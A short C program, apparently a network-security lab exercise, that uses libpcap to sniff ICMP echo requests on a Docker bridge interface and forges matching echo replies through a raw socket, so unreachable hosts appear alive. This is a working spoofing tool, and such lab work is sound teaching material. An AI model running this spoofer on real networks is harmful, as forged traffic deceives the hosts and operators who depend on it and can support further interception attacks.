#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned short in_cksum (unsigned short *buf, int length) {
    unsigned short *w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp=0;
    while (nleft > 1)  { sum += *w++; nleft -= 2; }
    if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w ; sum += temp; }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

void send_raw_ip_packet(struct iphdr* ip) {
    struct sockaddr_in dest_info;
    int enable = 1;
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr.s_addr = ip->daddr;
    sendto(sock, ip, ntohs(ip->tot_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    struct iphdr *ip = (struct iphdr *)(packet + 14); // Skip Ethernet header (14 bytes)
    if (ip->protocol != IPPROTO_ICMP) return;

    struct icmphdr *icmp = (struct icmphdr *)(packet + 14 + (ip->ihl * 4));
    if (icmp->type == 8) { // Echo request
        printf("Intercepted ICMP Echo Request from %s to %s\n", inet_ntoa(*(struct in_addr *)&ip->saddr), inet_ntoa(*(struct in_addr *)&ip->daddr));

        char buffer[1500];
        int ip_header_len = ip->ihl * 4;
        int icmp_len = ntohs(ip->tot_len) - ip_header_len;
        memcpy(buffer, ip, ntohs(ip->tot_len));

        struct iphdr *new_ip = (struct iphdr *)buffer;
        struct icmphdr *new_icmp = (struct icmphdr *)(buffer + ip_header_len);

        // Swap addresses
        new_ip->saddr = ip->daddr;
        new_ip->daddr = ip->saddr;
        new_ip->ttl = 64;

        // Change to Echo Reply
        new_icmp->type = 0;
        new_icmp->checksum = 0;
        new_icmp->checksum = in_cksum((unsigned short *)new_icmp, icmp_len);

        printf("Sending spoofed ICMP Echo Reply from %s back to %s...\n", inet_ntoa(*(struct in_addr *)&new_ip->saddr), inet_ntoa(*(struct in_addr *)&new_ip->daddr));
        send_raw_ip_packet(new_ip);
    }
}

int main() {
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char filter_exp[] = "icmp";
    handle = pcap_open_live("br-c031fbf1a197", BUFSIZ, 1, 1000, errbuf);
    pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN);
    pcap_setfilter(handle, &fp);
    printf("C-based Sniff-and-Spoof active...\n");
    pcap_loop(handle, -1, got_packet, NULL);
    pcap_close(handle);
    return 0;
}
